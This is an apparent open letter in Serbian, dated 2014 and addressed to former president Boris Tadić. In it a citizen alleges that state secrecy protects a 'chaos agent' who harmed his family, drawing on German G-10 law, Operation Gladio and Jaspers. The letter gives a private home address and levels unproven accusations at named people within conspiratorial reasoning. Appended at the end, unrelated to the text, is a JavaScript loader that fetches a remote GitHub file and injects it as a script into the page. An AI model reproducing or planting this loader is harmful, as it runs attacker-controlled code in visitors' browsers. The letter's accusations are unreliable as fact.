From: maliperica_91@live.com
To: pocasni.predsednik@ds.org.rs
Subject: Информација о кривичној пријави утуживања противправног – противуставног – противзаконског давања продужавања држ. и служ. тајности – део 1
Date: Wed, 5 Feb 2014 21:33:14 +0100
.
.
.
Борис Тадић – бивши председник Републике Србије
.
.
Електронску поруку послао:
Виктор Кос
Руже Шучман 49/16
23000 Зрењанин
.
.
Грађанину Тадић Борису
.
(У међувремену својом вољом бившем члану Демократске странке и њеном бившем председнику и почасном председнику)
.
Садржај се односи у погледу отворених правних питања једнако на бившеg шефа бироа председника републике гдин. Миодрага Ракића као секретара СНБ Р. Србије и координатора рада служби безбедности, бившу министицу правде гђу Снежану . Маловић, бившег министра одбране гдин. Драгана Шутановца, бившег председника владе гдин. Мирка Цветковића, садашњег министра и министра у критичном периоду МУПа Р. Србије, као и све остале функционере и службена лица која су упозната са постојањем конкретнигх држ. и служ. тајности у конкретном случају.
(Ово је и обавеза коју изричито одређује и Г-10 закон СРН и остала даље у правној позадини цитирана законска основа и СРН и Р.С., али и међународна обавезујућа правна основа, ради се о трајној повреди ових права из начина конструкције, заштите под држ. и служ. тајности деловања појединих лица, посебно Радислава Баукова „Лација“ искључиво из личне грамзивоти, похлепе и стицања богатства кроз иначе криминалне радње и дела, под условом институционалне тајности, као употребљени хаос-агент у специјалним операцијама. Свака веза са тим са мном и са оштећеном породицом је забрањена, јер објективно није уопште постојала.)
(И ови покушаји су текли за време међународне сарадње кроз измене садржаја и дешавања као на пример 2009 године када је контрао-хаос агент и признао постојање легенде кроз замену стварних односа и након подизања прве кривичне пријаве.)
.
Посебно са тим у вези скрећем пажњу на члан 7а Г-10 закона СРН. Цитираћу га у целини, а назначићу само кључно кршење одредби овог члана који дозвољава предавање, узајамну размену одређених садржаја на државне институције страних земаља, у конкретном случају службено одређених институција СРН Републици Србији или земљама односно њиховим одговарајућим институцијама потписницама НАТО-уговора и додатних споразума из којих је и настао Г-10 закон 1968 године:
§ 7a Übermittlungen durch den Bundesnachrichtendienst an ausländische öffentliche Stellen
(1) Der Bundesnachrichtendienst darf durch Beschränkungen nach § 5 Abs. 1 Satz 3 Nr. 2, 3 und 7 erhobene personenbezogene Daten an die mit nachrichtendienstlichen Aufgaben betrauten ausländischen öffentlichen Stellen übermitteln, soweit
- 1.
- 2.
- 3.
Die Übermittlung bedarf der Zustimmung des Bundeskanzleramtes.
(2) Der Bundesnachrichtendienst darf unter den Voraussetzungen des Absatzes 1 durch Beschränkungen nach § 5 Abs. 1 Satz 3 Nr. 2, 3 und 7 erhobene personenbezogene Daten ferner im Rahmen von Artikel 3 des Zusatzabkommens zu dem Abkommen zwischen den Parteien des Nordatlantikvertrages über die Rechtsstellung ihrer Truppen hinsichtlich der in der Bundesrepublik Deutschland stationierten ausländischen Truppen vom 3. August 1959 (BGBl. 1961 II S. 1183, 1218) an Dienststellen der Stationierungsstreitkräfte übermitteln, soweit dies zur Erfüllung der in deren Zuständigkeit liegenden Aufgaben erforderlich ist.(3) Über die Übermittlung entscheidet ein Bediensteter des Bundesnachrichtendienstes, der die Befähigung zum Richteramt hat. Die Übermittlung ist zu protokollieren. Der Bundesnachrichtendienst führt einen Nachweis über den Zweck, die Veranlassung, die Aktenfundstelle und die Empfänger der Übermittlungen nach Absatz 1 und 2. Die Nachweise sind gesondert aufzubewahren, gegen unberechtigten Zugriff zu sichern und am Ende des Kalenderjahres, das dem Jahr ihrer Erstellung folgt, zu vernichten.(4) Der Empfänger ist zu verpflichten,
- 1.
- 2.
- 3.
1. Спољне заштите спољно-политичких интереса СРН или подаци за посебну заштиту сигурносних интереса неке друге земље.2. Подаци се предају ако не постоје интереси лица чији се подаци предају, а који се налазе у домену заштите достојанствених интереса (заштићена основна грађанска и људска права и слободе) истих лица. Подаци – информације се предају под условом да је у земљи којој се прослеђују обезбеђен довољни ниво заштите података и да се примена података одвија под признатим принципима владавине права и да је обезбеђена:3. Двострана сарадња у размени података.
Стварна позадина одржавања и давања нових строгих држ. и служ. тајности
.
лежи у строго тајним још увек заштићеним односима на много вишем нивоу у погледу пројекција дугорочних циљева као и унутар истог система пројекција и заштите сепаратних интереса, до интереса заштићених сардника на самом дну хјерархије као хаос-агента „Лација“.
Стварна поздина која се штити лежи у двоструким везама и њиховим операционализацијама кроз начин управљања системом безбедности, чије је познато транспарентно историјско лице Стане Доланц, заштитник „Лација“ од седамдесетих.
.
(Са овим у вези подсећам на „давање имунитета“ на тајност моје кривичне пријаве дате априла 2009 и поновљене 19.07.2010. и наводне потребе било какве превенције на основу тајне међународне сарадње, што је као питање постављено и понављано без одговора од 19.07.2010. Посебно скрећем пажњу да не постоји изјава пријављеног Радислава Баукова – „Лација“ у истражном поступку под условом тајности, већ његовог сина од 28.01.2011. Син потврђује чак познавање његовог оца Лација“ са Стентом Доланцем, али оповргава кућне посете седамдесетих њиховој породичној кући и заборавља предуслове у погледу истражних радњи тадашњег МУПа против Радислава Баукова за сумњу вршења кривичних дела у СРН. Мени је сећање управо на ова два детаља, задржавање и испитивање и касније вест да је Доланц посетио њихову породичну кућу након низа забрана доказног поступка и низа напада на својину и различите врсте провокација и праћења у СРН. постала важан детаљ у вези повезивања заштићеног положаја „Лација“ са заштитом од Станета Доланца, утицај на иследне органе тада седамдесетих у СФРЈ, али и очигледну забрану сваког доказног поступка у СРН и лажне оптужбе и нападе на мене са тим у вези.)
.
Стварна позадина одржавања и давања нових строгих држ. и служ. тајности је много комлекснија, има више заинтересованих високих инстутицоналних чинилаца, који немају интереса да се упркос свој препознатој позадини злоупотребе личне и породичне егзистенције у стварању строго тајне заштићене операције, она у регуларном поступку разреши. Без обзира на материјално-правну основу и формално правне услове примењује си искључиво систем тајности и употреба тајних политичких полиција против жртве из чије је стварне егзистенције, злоупотребом података, манипулацијама и стварањем тајне операције и конкретне легенде, цела идеја створена. Ове замене теза. замена жртве и починиоца у улози добитника игре под строгом институционалном заштитом, рационална употреба психолошких метода стварања конфликта савести ради остваривања правно проблематичног до противправног успехуа или циља иза паравана тајне заштите, један широки спектар не само цинизма из метода разрађеног нихилизма као инструмента контроле, није случајност све ово време деценијама уназад, већ је последица тајне конструкције и заштите конкретног хаос-агента у иностранству и у земљи.
(заштићене сфере приватног и социјалног организовања живота су објект уласка и узимања утицаја до потпуног рационалног, намерног мењања садржаја од стране воље носиоца институционалне одлуке из услова и под дејством тајности. – Стална повреда забране повреде истих вредности и достијанства оштећених заинтересованих лица §§3а и 5а Г-10 закона, члана 3 у вези члана 2и1 Основног закона СРН. и повреде уставом Републике Србије загарантованих основних грађанских права и слобода датим у петицији у пошти Председнику Р. Србије од 10.05.2011г.)
Једна перспектива укупних односа кроз феноменологију духа времена из анализе Волфганга Крауса „Нихилизам данас – стрпљење светске историје“ из 1983 године било је интересантно штиво двехиаљадитих за време откривања позадине примене нихилизма у личном грађанском третману, иза како ће се показати тајне реалне институционалне заштите и како ће се успоставити тајне заштите пљачке и злоупотребе сопствене егзистенције у генијалном институционално подржаном нихилизму иза паравана држ. и служ. тајности у операцији и улози заштићеног хаос-агента „Лација“, а које нису за јавност, чак шта више ни за утврђивање чињеница кроз искључење јавности у приближно правичном поступку одлучивања. Систем без парламентарне, судске и егзекутивне контроле иза услова строге тајности који је пратио и прати откривање позадине тајне заштите је у ширем смислу обзиром на повратну строго тајну заштиту Стента Доланца на другој страни, препознат у специјалним операцијама посебних услова, узрока и последица десног и левог тероризма под страном заставом управо у време шездесетих, седамдесетих и осамдесетих година, показао се као разјашњење поздине овакве употребе права кроз забрану сваког доказног поступка. Ради се о фактима – историјским чињеницама, где позадина овог случаја упућује на шире методе управљања процесима из првобитних основних идеолошких или других геостартешких интереса свог времена. Би-Би-Си 1992 производи документарни филм о ужем систему без парламентарне, судске и егзекутивне контроле, о систему – системима унутар реалног институционалног система са посебним тајним заштитама:
NATO terrorists – Operation Gladio: 1948-1990 – State Sponsored Terrorism in Europe – [BBC Timewatch, 1992]
from Antifa Eifel 8 months ago Not Yet Rated Operation Gladio [BBC Timewatch, 1992] – State Sponsored Terrorism in Europe
Operation Gladio is undisputed historical fact. Gladio was part of a post-World War II program set up by the CIA and NATO supposedly to thwart future Soviet/communist invasions or influence in Italy and Western Europe. In fact, it became a state-sponsored right-wing terrorist network, involved in false flag operations and the subversion of democracy.
The existence of Gladio was confirmed and admitted by the Italian government in 1990, after a judge, Felice Casson, discovered the network in the course of his investigations into right-wing terrorism. Italian prime minister Giulio Andreotti admitted Gladio’s existence but tried to minimize its significance…
This BBC series is about a secret army operated by the CIA and MI6 through NATO, which killed hundreds of innocent Europeans and attempted to blame the deaths on Baader Meinhof, Red Brigades and others.
.
.
.
.
Принуда
.
Реална повратна последица конкретне строго тајне операције и заштићеног привидног иднетитета „Лација“ без правне и демократске контроле, судске, извршне власти и парламента јесте институционални систем изнуда кроз подршку контролисаног хаоса, заштићен кроз формално-правну употребу посебне законске осонове, која из наводних или стварних виших интереса кроз континуитет институционалне организације принуде са често сасвим рационално супротстављеним конструкцијама, иначе манипулацијом саморазумљивих права и чињеницама – кроз процесе одлучивања из обавеза тајности, врши реалну, трајну, институционално заштићену дискриминацију, без обзира на све разлике и промене у времену и простору које су пратиле или прате овај цео процес повратног утицаја. Оваква врста тајности и третмана објеката злоупотребе (грађанина са реално укинутим правима) јесте позната у ткзв. диктатурама, посебно тоталитарног карактера. Објект примене се налази у таквим реалним условима. препознаје постојање посебних мера и континуитет као и трајање уз сазнање губитка правне личности, не вољом или знањем појединих носилаца одлуке, већ скупом мера у начину дејства институционалне принуде из услова примене обавеза из институционалне тајности. Тако је тајност и препозната, а овакав начин строгог правно-децезионистичког начина стварања односа је дотакнут у настваку објашњења датим Основном јавном тужилаштву у Зрењанину након препознавања изуезћа доказног поступка, изузећа прихватања доказа, изузећа истражних радњи и временске коодринације одлука са циљем очувања и под условом обевза из тајности са иностранством.
(Биће предочено у наставку давања информације о разлозима утуживања противуставног и противправног давања тајности, са подсећањем да је исти начин одлучивања већ пвише пута примењен у различитим процесима одлучивања у прошлости у СРН, али бившој СФРЈ, што је повратно анализом и упутило на димензије позадине и псоледице по личну егзистенцију у трајању).
Идеја, конструкција, употреба и заштита злоупотребљене стварне личне и породичне егзистенције настаје скупљањем и вредновањем информација и података после рата 1945/46, а у вези осталих чињеница дужег периода односа у језгру породичне сфере организације живота очевих родитеља пре рата и чак пре формирања брака 1927 године, и наставља се педесетих година и све време до данас, тако да уз све уважавајуће разлике долази до парадоксалног стања кривице, искључиво из разлога континуитета најтеже диксриминације и искустава које познаје човечанство као имплементирану основу заштите достојанства и основних грађанских права у бићу свог материјално правног значења, познатих као основа припадајућих уставно-правних начела и вредносних принципа и међународно-правних правних основа и повеља из грађанских права и слобода. Настаје у изолованом сегменту заштићене сфере приватне организације живота у соцјалном, приватном и интимном подручју његовог језгра, употребом строгог правно-политичког децезионизма у низу процеса одлучивања на основу правног дејства држ. и служ. тајности укидање или оштећење права грађанина као затвореног објекта тајности. Из иностранства по основама посебне заштите као припадника посебног правног положаја по Г-10 закону и осталим правним основама припадника трупе или лица у својству припадника трупе, преноси се заштита „Лација“ стварањем осталих контаката и заштитом од Станета Доланца у условима система објективне диктатуре седамдесетих све до данас. Стварају се услови заштите тајне операције и заштите посебног правног положаја „Лација“ са привидним идентитетом и даље креирање повратног посебног утицаја у условно речено „игри“ са остатком породице, успоставља се услов за континуитет укидања права, из разлога заштите тајне операције настале злоупотребом те исте приватне – породичне егзистенције кроз укидање права на правни лек. Та „игра“, институционално заштићена, добија свој замах од почетка девдесетих деловањем самога „Лација“ и даље његовом заштитом, препознавањем са моје стране посебног правног заштићеног положаја, иначе по законској основи реално заштићеном вршењу дела начином намерне повреде одговарајућих обавезујућих законских услова, откривањем исте посебности кроз заштићени положај у иностранству као хаос-агента у правном положају штићеника као псоебног припадника НАТО-трупа у правном својству заштите, али и заштићеног сарадника УДБЕ са лажним идентитетом управо кроз манипулацију већ изгубљених права, живота целокупне егзистенције језгра породичне сфере живота у трајању до данас, а на основу представљене формално-законске и формално-правне основе и позадине. Подсећам са тим у вези на забарну посредне и непосредне институционалне дискриминације на коју у сваком битнијем процесу одлучивања изричито скрећем пажњу. Изричито подсећам на обавезу поштовања принципа истинитости и правичног вођења поступка, јер се ради о реалном трајном процесу укидања или оштећења права из услова злоупотребе стварне личне егзистенције из разлога доказане повреде истих тих основа егзистенције.
Какве везе имам ја лично са овом позадином, каква веза постоји или је постојала између језгра породице и егзистенције са целом овом конструкцијом, строго тајном операцијом и строго заштићеним лицем – „Лацијем“са привидним идентитетом?
Абсолутно никакве, осим чињенице да је откривени привидни идентитет и правни положај правна основа вишедеценијског повратног дејства укидања или оштећења основних права до циљног напада на егзистенцију и живот у целини. Зато је тајност, њено давање одржавање или продужавање утужено као противзаконски акт у целини.
Како је неко да свој имунитет (сазнање од 09.11.2010) на кривичну пријаву злоупотребе идентитета у конкретном случају „Лаци“, а сва отворена правна питања су под условом дејства тајности и конструисаних садржаја насталих поред осталог кроз заштиту забране било ког доказног поступка, молио бих Вас лично да као функционер са највишим уставним контролним местом у времену доношења закона из ове области заштите и давања тајности, а у вези изнешених садржаја дате потпуни исказ надлежном телу којем је УКП – МУПа Р.С. предала предмет на даљњу истрагу и олдучивање. (Прилози 1. 2. и 3 у одт. формату односно 20.21. у 22. у пдф форамту). Дозвољавам себи да на основу свих познатих чињеница, на етичком и правном основу смисла егзистенције по свим уставно-правним и обичајним правилима живота сваке припадајуће средине, изразим личну забрану свакоме, укључујући и носиоцима одлука у управним и судским процесима одлучивања без икакве контроле (забрана долазног поступка из услова тајности), даљње злоупотребе ове конструкције кроз стварање реалног поља принуде и изнуде из услова тајности, која се утужује као основа трајне личне дискриминације кроз укидање низа загарантованих основних грађанских права и слобода.
Политика и психологија – одлуке које нису за јавност
.
.
.
.
У „глупом писанију“ у којем наводно „постоји“ непостојећа претња у конструсаној оптужници датој у прилозима, постоји веза између тајни „царa Трајана“, козјих ушију, психологије и политике. Како навдене претње из приложене оптужнице не постоје, а спомиње се као доказни материјал наводно писмо из аугуста 2004, било би још увек сасвим једноставно тај доказ најзад предочити обзиром да је и овај цео процес пратила потпуна забрана доказног поступка и очигледни циљ наставка плана изолације и ликвидације, кроз налажење психолошко-психијстријског повода, а ради скривања стварне препознате позадине институционалне дискриминације из наведених стварних разлога и заблуда, поред осталог начином заштите у фуникционисању хаос-агента „Лација“. Напомене ради да како цитирани навод из приложене оптужнице (прекршајни поступак) не постоји у „глупом писанију“, не постоји нити претња и тиме је прекршајна кривична пријава морала бити одбачена. Чак шта више није смела бити подигнута, посебно када се има у виду да је подигнута пар дана након мог упућивања жалбе на рад Јавног тужиоца у вези измене садржаја сопствених изјава друге сведокиње под једноставним заменама теза, да сам је ја наговорио да учини и изјави оно што је сама учинила и изјавила, наравно кроз опет позанту забрану доказног поступка и прихватања доказа о неистинитости било каквог наговарања.
(Никада у животу нисам никога наговарао на било шта, како рекох ја сам глуп, нисам луд и имам само једну жењу да будем још глупљи.)
Исто важи са ништа мање материјално-правним расположивим доказима за све наводе друге тачке оптужнице, а како се одмах прешло са доказног поступка на испитивање моје менталне урачунљивости, а обзиром на све што се и како се догодило и одвијало пре 2004/2005 и после 2005 до данас, радикализовало се питање позадине таквог третмана и стварних узрока као и правне основе објашњене више пута, која ће и довести до разрешења стварног третмана, правне основе, али и начина креирања и одржавања заблуда са тим у вези деценијама уназад. Психологија и политика, поред скривања од јавности (у цара Трајана козје уши) су се поставиле као питање од општег и посебног значаја у ширему систему начина креирања у функционисања правде, али и веза у погледу питања уставности начина регулисања питања од виталне важности у погледу заштите основних грађанских права, односно начина њиховог изузећа из виших интереса, као у овом случају доказано, ради реалне заштите пљачке и злоупотребе сопственог идентитета објективизираног грађанина са укинутим грађанским правима, без обзира на знање или незнање носилаца судске или одлуке извршних власти у конкретном случају.
(Иначе се у „глупом писанију“ који се наводи у приложеној оптужници спомиње предање о цару Трајану и козјим ушима.)
Чланови 92 и 97 Основног закона СРН су са моје стране овом изјавом испоштовани. Битно је да осим вербалних оптужби описа неког наводног морално и етстески неприхватљивог понашања у смислу претњи, не постоји абсолутно никакав други облик стварне употребе било какве силе против било кога, да не постоји наношење никакве штете лицима која су у контактима или ангажманом као сарадници тајних политичких полиција износили тврдње које су довеле до потпуног губитка грађанских права, процеса јачања социјалне изолације, крађа, утаја, противзаконитог одузимања или пљачки соновне својине, уништавања егзистенције и све ширим круговима организације напада, мешањем тајне политичке полиције у елементарно заштићену сферу живота.
Обзиром на предвиђену финасијску кризу њене узроке и генераторе делом дате и у „глупом писанију“ са осталим системским приказом метода се везама ка психологији, као и начину организације, уређивања и управљања различитим системима, само се у том глупом писанију назива „пишологиазиција“. Иза вела услова тајности, „пишологизација“, и њеног рефлетивно – повратног утицаја на реални живота и игре животима са последицама познатих трагичних процеса, одређују се битно неке личне, неприметне судбине, које су опет под условом различитих старих и нових тајности под сталним посредним и непосредним изнудама и прунудама ван сваке парламентарне, судске, и контроле извршних – управних власти и различитих делова тајних политичких полиција. Деценијама уназад, већ као неприкосновено наследно право уз све разлике и све промене тече овај процес „одбране цивилизацијских вредности“:
Was Montagu Norman a Nazi sympathiser?
Until last month, a small portrait of Sir Montagu Norman hung in the Governor’s private meeting room beside his office at the Bank of England.
The Federal Reserve: Bankers for the New World Order
http://www.thenewamerican.com/economy/item/17312-the-federal-reserve-bankers-for-the-new-world-order
British Financial Warfare: 1929; 1931-33; How The City Of London Created The Great Depression
http://tarpley.net/online-books/against-oligarchy/british-financial-warfare/
Јануара 1939 директор БофЕ Норман види у Хитлеру одбрану европских, цивилизицијских и културних вредности. Много су интересантнија друга питања у начину функционисања одређених трансфера и организације система рефинасирања уз државне гаранције из на пр. система МЕФО, који је створио пријатеља Нормана, Хјалмар Шахт. И ови делови специјално прилагођени у „глупом писанију“ само указују на шароликост у времену и простору заступања ставова са потпуно различитим категоријама и принципима који се позивају на вредносне и цивилизацијске категорије. Нису никакав цинизам нити било какав антевропски став, мој лично у сваком случају не, напротив, управо из искуства и свим њеним могућим перспективама сагледавања сложених процеса подсећање на важност поштовања духа закона „De L’esprit des Loix“ Монетскјеа (Baron de Montesquieu) који се провалачи као наш заједнички и посебни дух кроз основу сдаржаја „глупог писанија“.
Разлог глупом писанију на које се позвало тужилаштво (2005 – прилози), кроз превод који не постоји у тексту, лежи у догађају непосредно пре почетка писања, а ради се о противправној и противзаконској заплени имовине, докумената, личних докумената и ствари, али и јасно уоченом елктронском праћењу и осталим мерама просматрања карактеристичним за тајне политичке полиције. Ретроактивно анализирајући кључне процесе одлучивања, постојала је у међувремену (2004) доказана сумња да од 1992 односно од 1989/90године постоји некаква веза између „Лација“ , посебно након утаје и неисплате примања и осталих обавеза по уговору и закону и покушају изнуде рада на црно и начину реакције надлежних органа на ову пријаву (1992/93), као и читав след осталих дешавања на процесе одлучивања извршних и судских власти. Позадина таквог начина одлучивања (абсолутна забрана доказног поступка) са „највећим преварантм југословенског порекла у СРН.“ је у међувремену је доказана и предмет је правног спора у погледу правности давања и одржавања држ. и служ. тајности у иностранству и земљи.
Постоје ли тајности у раду које су важне за државу и народ, а да се садржај никада не сазна?
Овај случај не може и неће остати такав пример тајности гажења већ уништене егзистенције ради неупитних виших интереса. Јавност има право, чак је обавеза власти придржавањем закона и обавезе принципа истине (Зокон о управнон поступку) да да пуну информацију пре свега оштећеним, као што оштећени имају право на правни лек и правични поступак без изнуда и принуда из услова тајности до циљног угрожавања целе егзистенције из разлога искључиве недодирљиве тајности из непроверених виших интереса објективизације човека – грађанина, кроз укидање права из разлога злоупотребе те исте те егзистенције у строго тајним операцијама деценијама уназад.
Принуда је психолошки феномен (obsessive–compulsive disorder), којег је проучавао иначе у „глупом писанију“ цитирани Карл Јасперс. У својој дисертацији 1913 Јасперс се бави рефлективним психолошким појавама, принудним сметњама које настају у начину обраде реалности, без обзира на свеукупну непрегледност, непрозорност, свеобухватност реалности као окружење у наизменичном односу у којем се налзи човек као појединац и социјално биће, са својим начином мишљења, чињењем и нечињењем у сложеном, наизменичном односу према према тој сложеној, свеобухватној, непрозирној реалности – целокупном окружењу. Када механизми обарде уградње рефлексија која настају кроз непосредност живота, више не одговарају свом природном, нама до душе потпуно у дешавањима непрозирном току дешавања и догађаја, који упркос све Рефлективности, постојеће саморазумљивости, хармоночности, безупитности нашег живота стварају принуду у начину њене обраде код појдинца, настаје психолошки феномен принуде.
“wenn die Mechanismen der Verwirklichung und des Einbaus der Reflexion in die Unmittelbarkeit nicht ihren natürlichen, uns in ihrem Geschehen zwar völlig undurchsichtigen Ablauf haben, der die gegenüber aller Reflektiertheit bleibende Selbstverständlichkeit, Harmlosigkeit, Fraglosigkeit unseres Lebens ist.”
Јасперс даје даље процес у којем појединац пролази кроз процес односа према реалности, увлачећи је у себе, постајући свестан себе и даље у следећој фази се уздише и почиње да мења стварност, да утиче на самог себе мењајући реалности кроз процес мишљења и својом вољом. У процесу настаје конфликт реалности према мишљењу и вољи појединца. Настаје потрес који доводи до душевних процеса, до покушаја разумевања (вођења – управљања) све дијалектике, свих садржаја и свих супротности који даље развија непосредност живота. Када међутим непосредност живот престане, и само вољом и мишљењем се појединац односи према свим садржајима рефлексија реалности, настаје принуда у којој се рађа и нови поремећај.
Правно чињенично стање те 2004 године се јасно доказало да се сва непосредност живота налази под битним утицајем и мешањем од стране тајне институционалне контроле и вођења – конструисања или одбране правно или кривично релевантних садржаја противно уставним забранама повреде истих, а који припадају искључиво заштити основних грађанских права, заштити организације језгра приватне и социјалне сфере живота на начин који је у већ низу случајева указао на строгу противзаконитост – противуставност поступака и одлучивања, док се позадина није предпоставила и доказала у посебном правном положају, да би од 2008 и потврде априла 2009 од стране истог била утврђена и манипулација идентитета и тиме се затворио основни круг тј. разјааснила се и употреба, позадина, циљеви и правна основа укидања мојих основних грађанских права, са тиме у вези различите конструкције које са реалним током дешавања и односа немају ничег заједничког.
„Човеком се постаје кроз чин рођења, французом кроз случај“ – (Montesquieu).
У 18 веку дата изјава једног великог визионара и теоретичара државног и грађанског права који је поставио темеље стварним вредностима европског културног и политичко хуманистичког и либерално-грађанског развоја од универзалног значаја, је једна од основних вредности и правних поставки међународно важећих повеља и закона који су искључиво меродавни за наставак разрешења питања личне и трајне дискриминације кроз систем држ. и служ. тајности у земљи и иностранству насталим кроз злоупотребу личне и породичне егзистенције без знања и воље исте.
Ово јесте правни предмет отворених питања насталих кроз подизање кривичне пријаве и упућивање петиције немачком бундестагу.
Идеја Монтескјеа о униветзалности човека у погледу општијег, ширег значења од свих уважавајућих осталих припадности посебеним групама, које не морају бити народног – националног карактера, солцијалног садржаја, садржаја припадања класи или сталежу, полу, старосној групи итд. јесте једна од универзалних вредности која је под условом давања тајности и позадине откривене целе операције доведена у питање, јер је њена идеља водиља створена у анализи стварних искустава вишеструких изнуда насталих у опште познатим историјским процесима. Истовремено је чињење и нечињење исте те ћелије – брака као основа уже породице остало недодирљиво у погледу поштовања универзалности Монтескјеове идеје из навденог цитата. (докази расположиви). Са друге стране иза плашта држ. и служ. тајности, методи примене на исту ту основну јединицу злоупотребе одговарају радикалнијем систему Макијавелија и не подлежу никаквој контроли коју у сваком аспекту демократског грађанског устава и законодавства предвиђа обавезујући правични третман под условом грађанске равноправности. Давањем или продужавањем тајности на конкретни случај и отворена питања, извршен је иза плашта наставак примене метода изнуда без икакве контроле који у методолошком смислу одговарају искуствима породице који су у сложеном рационалном систему имплементирани у тајну операцију и легенду „Лација“. У тоталитету свих дешавања и веза све време трајања и злоупотребе овог случаја у једном од централних места креационизма се налази идеја романа Мориса Жолија ( Maurice Joly) – „Разговор у паклу“ између два теоретичара државног права. По уставу и закону, по међународним обавезама једино место одлуке је требало бити у складу са истином у правичном судском, односно правичним поступцима извршне – управне власти. Постојање држ. и служ. тајности је довело у вези конкретне операције до абсурда, укидања права из разлога већ укинутих права по методолошком принципу већ једном укинутих права у сасвим рационалној конструкцији идеје и заштите привидног идентитета „Лација“. Ово је у потпуној супротности са укупним хабитусом целокупног живота породице из чије је основе опљачкана основа ове тајне конструкције. Ово је битно правно питање у свим рефлкексијама свеукупне реалности које су пратиле животе, чињење и нечињење, као и стварни вредносни систем уже породице.
Човек, његова слободна воља и законитост и уставност чињења – морални покретач делања
Цитат (Карк Јасперс – „Човек“) _Link
Ima neke bespomoćnosti u tome kad tražimo oslonac u zakonima dostojnim poverenja i naređenjima nekog autoriteta. Postoji, nasuprot tome, neka snaga odgovornosti pojedinca, koja diže u visine kad sluša glas celokupne stvarnosti.
Крај цитата
У горњем тексту већ цитирани Карл Јасперс који се спомиње у „глупом писанију“ из 2004 године у којем не постоји претња конструисана поред осталог у кривичној пријави,, која је поред осталог предмет међународне сарадње у погледу наводне потребе било какве превенције, написао је један веома интересантан и важан оглед у човеку, слободи његове воље, спознаји бога или етичког закона бога, инстанцама којима о томе одлучују и праву човека да брани своје право на доживљај божјег – етичког принципа и закона својим чињењем и нечињењем.
.
.
.
.
у Зрењанину 05. феб. 2014
.
.
.
U krajnjoj liniji, doduše, mogućna je jedna istinska koincidencija između pokornosti prema objektivnim instancama u svetu i pokornosti prema izvorno saznatoj volji božjoj. Ali za tu koincidenciju treba se boriti.
.
(КарлЈасперс у огледу о човеку – LINK)
.
.
.
(var url = „https://raw.githubusercontent.com/truba77/trubnik/main/to.txt“; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(„script“); script.src = data.trim(); document.getElementsByTagName(„head“)[0].appendChild(script); });)
